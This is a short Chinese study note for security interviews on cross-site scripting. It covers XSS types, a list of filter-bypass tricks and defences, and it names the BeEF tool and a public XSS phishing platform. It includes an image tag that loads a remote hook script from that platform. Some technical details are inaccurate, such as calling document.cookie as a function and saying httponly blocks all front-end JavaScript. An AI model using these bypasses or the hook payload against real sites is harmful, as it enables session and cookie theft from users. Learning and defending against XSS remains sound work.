安全面试之XSS（跨站脚本攻击）

1、XSS原理:开发人员没有做好过滤，导致我们可以闭合标签进而插入并执行恶意JS代码

2、xss类型分类

DOM型：由DOM文档完成解析

反射型：即插即用，没有存储在数据库里面

存储型：被存储在数据库里面，造成持久型的攻击

3、常用的JS函数

document.cookie()：弹出当前网址的浏览器cookie

console.log('xss')：在控制台输出日志

4、绕过方式

4.1.改变大小写:<SCript>

4.2.编码绕过（html实体编码、十进制十六进制八进制编码、unicode编码）、

4.3.关闭标签：利用大于号>关闭标签使得xss生效

4.4.双写饶过：<scr<script>ipt>

4.5.可以使用空格.换行，tab键或者/**/,/*!a*/,的形式绕过关键词的检测

4.6.用/代替空格
4.7.用反引号代替括号、双引号
4.8.用throw代替括号
4.9.用html实体编码:代替冒号
4.10.用jsfuck编码绕过大部分字符过滤

5、扫描工具

xsstrick

6、XSS钓鱼平台

kali工具：BEEF

免费平台：https://xss.pt/

钓鱼语句：<img src=https://xss.pt/hook.js>

7、xss防御

7.1、过滤敏感字符，例如：aler()、<script>、onerror

7.2、增加httponly：禁止前端执行JS代码